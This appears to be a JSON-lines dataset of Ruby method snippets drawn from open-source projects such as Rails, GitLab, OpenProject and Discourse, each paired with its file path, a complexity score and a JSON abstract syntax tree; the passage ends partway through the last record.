{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/arel/visitors/dot.rb","start_line":246,"raw_source":"def visit(o)\n          if node = @seen[o.object_id]\n            @edge_stack.last.to = node\n            return\n          end\n\n          node = Node.new(o.class.name, o.object_id)\n          @seen[node.id] = node\n          @nodes << node\n          with_node node do\n            super\n          end\n        end","complexity_score":17.4,"ast_json":"{\"type\":\"def\",\"children\":[\"visit\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"o\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"node\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@seen\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"object_id\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@edge_stack\"]},\"last\"]},\"to=\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"node\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Node\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"class\"]},\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"object_id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@seen\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"id\"]},{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@nodes\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_node\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"zsuper\",\"children\":[]}]}]}]}","id":"b5858e31-c03f-4450-a998-ea78a329a1ce"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/specs/features/api/12_systems/gitaly/distributed_reads_spec.rb","start_line":79,"raw_source":"def wait_for_reads_to_increase(project, number_of_reads, pre_read_data)\n        diff_found = pre_read_data\n\n        Support::Waiter.wait_until(sleep_interval: 5, raise_on_failure: false) do\n          read_from_project(project, number_of_reads)\n\n          praefect_manager.query_read_distribution.each_with_index do |data, index|\n            diff_found[index] = {} unless diff_found[index]\n            if data[:value] > praefect_manager.value_for_node(pre_read_data, data[:node])\n              diff_found[index][:diff] = true\n            end\n          end\n          diff_found.all? { |node| node.key?(:diff) && node[:diff] }\n        end\n      end","complexity_score":33.3,"ast_json":"{\"type\":\"def\",\"children\":[\"wait_for_reads_to_increase\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]},{\"type\":\"arg\",\"children\":[\"number_of_reads\"]},{\"type\":\"arg\",\"children\":[\"pre_read_data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"diff_found\",{\"type\":\"lvar\",\"children\":[\"pre_read_data\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Support\"]},\"Waiter\"]},\"wait_until\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sleep_interval\"]},{\"type\":\"int\",\"children\":[5]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"raise_on_failure\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"read_from_project\",{\"type\":\"lvar\",\"children\":[\"project\"]},{\"type\":\"lvar\",\"children\":[\"number_of_reads\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"praefect_manager\"]},\"query_read_distribution\"]},\"each_with_index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]},{\"type\":\"arg\",\"children\":[\"index\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff_found\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"index\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff_found\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"index\"]},{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"value\"]}]},\">\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"praefect_manager\"]},\"value_for_node\",{\"type\":\"lvar\",\"children\":[\"pre_read_data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"node\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff_found\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"index\"]}]},\"[]=\",{\"type\":\"sym\",\"children\":[\"diff\"]},{\"type\":\"true\",\"children\":[]}]},null]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff_found\"]},\"all?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"diff\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"diff\"]}]}]}]}]}]}]}]}","id":"91655512-04e0-49a7-bbc3-4d75277f4a8b"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/dispatch/session/abstract_secure_store_test.rb","start_line":30,"raw_source":"def write_session(env, sid, session, options)\n          @sessions[sid] = SessionId.new(sid, session)\n        end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"write_session\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env\"]},{\"type\":\"arg\",\"children\":[\"sid\"]},{\"type\":\"arg\",\"children\":[\"session\"]},{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@sessions\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"sid\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SessionId\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"sid\"]},{\"type\":\"lvar\",\"children\":[\"session\"]}]}]}]}","id":"33040368-8304-40a7-9b95-89a0ac00364b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20250902190858_adjust_topics_organization_id_indexes.rb","start_line":23,"raw_source":"def down\n    add_concurrent_index(TABLE_NAME, :slug, name: INDEX_ON_SLUG, where: 'slug IS NOT NULL')\n    add_concurrent_index(TABLE_NAME, 'lower(name)', name: INDEX_ON_LOWER_NAME)\n    remove_concurrent_index_by_name(TABLE_NAME, INDEX_ON_ORG_NAME_AND_PROJECT_COUNT)\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_concurrent_index\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},{\"type\":\"sym\",\"children\":[\"slug\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"const\",\"children\":[null,\"INDEX_ON_SLUG\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"where\"]},{\"type\":\"str\",\"children\":[\"slug IS NOT NULL\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_concurrent_index\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},{\"type\":\"str\",\"children\":[\"lower(name)\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"const\",\"children\":[null,\"INDEX_ON_LOWER_NAME\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"remove_concurrent_index_by_name\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},{\"type\":\"const\",\"children\":[null,\"INDEX_ON_ORG_NAME_AND_PROJECT_COUNT\"]}]}]}]}","id":"402589a0-3b75-4244-8f79-3c91c204cbf7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/dropdowns_helper.rb","start_line":128,"raw_source":"def dropdown_filter(placeholder, search_id: nil)\n    content_tag :div, class: \"dropdown-input\" do\n      filter_output = search_field_tag search_id, nil, data: { testid: \"dropdown-input-field\" }, id: nil,\n        class: \"dropdown-input-field\", placeholder: placeholder, autocomplete: 'off'\n      filter_output << sprite_icon('search', css_class: 'dropdown-input-search')\n      filter_output << sprite_icon('close', size: 16, css_class: 'dropdown-input-clear js-dropdown-input-clear')\n\n      filter_output.html_safe\n    end\n  end","complexity_score":11.2,"ast_json":"{\"type\":\"def\",\"children\":[\"dropdown_filter\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"placeholder\"]},{\"type\":\"kwoptarg\",\"children\":[\"search_id\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"content_tag\",{\"type\":\"sym\",\"children\":[\"div\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"str\",\"children\":[\"dropdown-input\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"filter_output\",{\"type\":\"send\",\"children\":[null,\"search_field_tag\",{\"type\":\"lvar\",\"children\":[\"search_id\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"testid\"]},{\"type\":\"str\",\"children\":[\"dropdown-input-field\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"str\",\"children\":[\"dropdown-input-field\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"placeholder\"]},{\"type\":\"lvar\",\"children\":[\"placeholder\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"autocomplete\"]},{\"type\":\"str\",\"children\":[\"off\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filter_output\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"sprite_icon\",{\"type\":\"str\",\"children\":[\"search\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"css_class\"]},{\"type\":\"str\",\"children\":[\"dropdown-input-search\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filter_output\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"sprite_icon\",{\"type\":\"str\",\"children\":[\"close\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"size\"]},{\"type\":\"int\",\"children\":[16]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"css_class\"]},{\"type\":\"str\",\"children\":[\"dropdown-input-clear js-dropdown-input-clear\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filter_output\"]},\"html_safe\"]}]}]}]}","id":"44ec3394-d2b5-4f63-974c-aca1c96d56b8"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/gemspec/ruby_version_globals_usage.rb","start_line":44,"raw_source":"def gem_spec_with_ruby_version?(node)\n          gem_specification(processed_source.ast) && ruby_version?(node)\n        end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"gem_spec_with_ruby_version?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"gem_specification\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"processed_source\"]},\"ast\"]}]},{\"type\":\"send\",\"children\":[null,\"ruby_version?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]}]}","id":"ecc21cc9-509c-42e4-a767-bf466e5f8426"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/custom_button.rb","start_line":112,"raw_source":"def publish_event(source, target, args = nil)\n    args ||= resource_action.automate_queue_hash(target, {}, User.current_user)\n    Array(target).each { |t| create_event(source, t, args) }\n  end","complexity_score":9.7,"ast_json":"{\"type\":\"def\",\"children\":[\"publish_event\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"source\"]},{\"type\":\"arg\",\"children\":[\"target\"]},{\"type\":\"optarg\",\"children\":[\"args\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"args\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resource_action\"]},\"automate_queue_hash\",{\"type\":\"lvar\",\"children\":[\"target\"]},{\"type\":\"hash\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"current_user\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"lvar\",\"children\":[\"target\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"send\",\"children\":[null,\"create_event\",{\"type\":\"lvar\",\"children\":[\"source\"]},{\"type\":\"lvar\",\"children\":[\"t\"]},{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]}]}","id":"d76541b4-6bf6-408b-a27f-0345d01f5a80"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/clusters/cluster.rb","start_line":384,"raw_source":"def no_groups\n      errors.add(:cluster, 'cannot have groups assigned') if groups.any?\n    end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"no_groups\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"groups\"]},\"any?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"cluster\"]},{\"type\":\"str\",\"children\":[\"cannot have groups assigned\"]}]},null]}]}","id":"0576ea03-af72-4d73-9ab5-61b86adf81ad"}
{"repo_name":"rails","file_path":"./repos/rails/activestorage/test/models/attached/many_test.rb","start_line":845,"raw_source":"def self.name; superclass.name; end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"superclass\"]},\"name\"]}]}","id":"335152d5-9a6f-4662-8d59-e1f0a0711edb"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/integrations/base/integration.rb","start_line":402,"raw_source":"def api_arguments\n          fields.filter_map do |field|\n            next if field.if != true\n\n            {\n              required: field.required?,\n              name: field.name.to_sym,\n              type: field.api_type,\n              desc: field.description\n            }\n          end\n        end","complexity_score":13.2,"ast_json":"{\"type\":\"def\",\"children\":[\"api_arguments\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fields\"]},\"filter_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"field\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},\"if\"]},\"!=\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"required\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},\"required?\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},\"name\"]},\"to_sym\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},\"api_type\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"desc\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},\"description\"]}]}]}]}]}]}","id":"d363e425-1c44-43f6-8a69-62548fd43471"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/uploaders/object_storage.rb","start_line":418,"raw_source":"def store_dirs\n      {\n        Store::LOCAL => File.join(base_dir, dynamic_segment),\n        Store::REMOTE => File.join(dynamic_segment)\n      }\n    end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"store_dirs\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Store\"]},\"LOCAL\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[null,\"base_dir\"]},{\"type\":\"send\",\"children\":[null,\"dynamic_segment\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Store\"]},\"REMOTE\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[null,\"dynamic_segment\"]}]}]}]}]}","id":"66490a7b-441d-4d38-ac0b-2b5195f1e222"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/attribute_help_text/work_package.rb","start_line":52,"raw_source":"def self.visible_condition(user)\n    visible_cf_names = WorkPackageCustomField\n                       .manageable_by_user(user)\n                       .pluck(:id)\n                       .map { |id| \"custom_field_#{id}\" }\n\n    ::AttributeHelpText\n      .where(attribute_name: visible_cf_names)\n      .or(::AttributeHelpText.where.not(\"attribute_name LIKE 'custom_field_%'\"))\n  end","complexity_score":10.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"visible_condition\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"visible_cf_names\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WorkPackageCustomField\"]},\"manageable_by_user\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},\"pluck\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"custom_field_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"AttributeHelpText\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"attribute_name\"]},{\"type\":\"lvar\",\"children\":[\"visible_cf_names\"]}]}]}]},\"or\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"AttributeHelpText\"]},\"where\"]},\"not\",{\"type\":\"str\",\"children\":[\"attribute_name LIKE 'custom_field_%'\"]}]}]}]}]}","id":"aec0874a-cfee-41a8-8b08-086787db6438"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/wizard/step.rb","start_line":8,"raw_source":"def initialize(id)\n      @id = id\n      @fields = []\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@id\",{\"type\":\"lvar\",\"children\":[\"id\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@fields\",{\"type\":\"array\",\"children\":[]}]}]}]}","id":"5088977e-316a-4b72-9d4d-34024c135c0b"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/db/migrate/20230411023246_add_chat_message_replies_count_to_chat_threads.rb","start_line":4,"raw_source":"def change\n    add_column :chat_threads, :replies_count, :integer, null: false, default: 0\n    add_index :chat_threads, :replies_count\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"chat_threads\"]},{\"type\":\"sym\",\"children\":[\"replies_count\"]},{\"type\":\"sym\",\"children\":[\"integer\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"chat_threads\"]},{\"type\":\"sym\",\"children\":[\"replies_count\"]}]}]}]}","id":"dc5781a8-de7d-4ef8-9e29-64223d3ffc62"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/background_migration/recalculate_dora_deployment_frequency_score.rb","start_line":33,"raw_source":"def recalculate_df_score(row)\n        from = row.date.beginning_of_month\n        to = row.date.end_of_month\n        prods = Environment.where(project_id: row.project_id).where(tier: 0)\n\n        data = DailyMetric.where(environment_id: prods)\n                          .where(date: from..to)\n                          .select('SUM(deployment_frequency) as deployments_count').take\n\n        deployment_frequency = (data['deployments_count'] || 0) / (to - from + 1).to_f\n\n        frequency_score(deployment_frequency)\n      end","complexity_score":27.3,"ast_json":"{\"type\":\"def\",\"children\":[\"recalculate_df_score\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"from\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"date\"]},\"beginning_of_month\"]}]},{\"type\":\"lvasgn\",\"children\":[\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"date\"]},\"end_of_month\"]}]},{\"type\":\"lvasgn\",\"children\":[\"prods\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Environment\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"project_id\"]}]}]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tier\"]},{\"type\":\"int\",\"children\":[0]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DailyMetric\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"environment_id\"]},{\"type\":\"lvar\",\"children\":[\"prods\"]}]}]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"date\"]},{\"type\":\"irange\",\"children\":[{\"type\":\"lvar\",\"children\":[\"from\"]},{\"type\":\"lvar\",\"children\":[\"to\"]}]}]}]}]},\"select\",{\"type\":\"str\",\"children\":[\"SUM(deployment_frequency) as deployments_count\"]}]},\"take\"]}]},{\"type\":\"lvasgn\",\"children\":[\"deployment_frequency\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"deployments_count\"]}]},{\"type\":\"int\",\"children\":[0]}]}]},\"/\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"to\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"from\"]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},\"to_f\"]}]}]},{\"type\":\"send\",\"children\":[null,\"frequency_score\",{\"type\":\"lvar\",\"children\":[\"deployment_frequency\"]}]}]}]}","id":"32dcb2ee-a81f-4f09-82b3-8171f20cfbb7"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/repository/subversion.rb","start_line":62,"raw_source":"def self.supported_types\n    types = [:existing]\n    types << managed_type if manageable?\n\n    types\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"supported_types\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"types\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"existing\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"manageable?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"types\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"managed_type\"]}]},null]},{\"type\":\"lvar\",\"children\":[\"types\"]}]}]}","id":"c7654ecf-3422-43fd-a59c-a07ac01d05dc"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/work_packages/activities_tab_controller.rb","start_line":501,"raw_source":"def update_item_component(journal:, grouped_emoji_reactions:, state:, filter: @filter)\n    update_via_turbo_stream(\n      component: WorkPackages::ActivitiesTab::Journals::ItemComponent.new(\n        journal:,\n        state:,\n        filter:,\n        grouped_emoji_reactions:\n      )\n    )\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"update_item_component\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"journal\"]},{\"type\":\"kwarg\",\"children\":[\"grouped_emoji_reactions\"]},{\"type\":\"kwarg\",\"children\":[\"state\"]},{\"type\":\"kwoptarg\",\"children\":[\"filter\",{\"type\":\"ivar\",\"children\":[\"@filter\"]}]}]},{\"type\":\"send\",\"children\":[null,\"update_via_turbo_stream\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"component\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WorkPackages\"]},\"ActivitiesTab\"]},\"Journals\"]},\"ItemComponent\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"journal\"]},{\"type\":\"lvar\",\"children\":[\"journal\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"state\"]},{\"type\":\"lvar\",\"children\":[\"state\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filter\"]},{\"type\":\"lvar\",\"children\":[\"filter\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[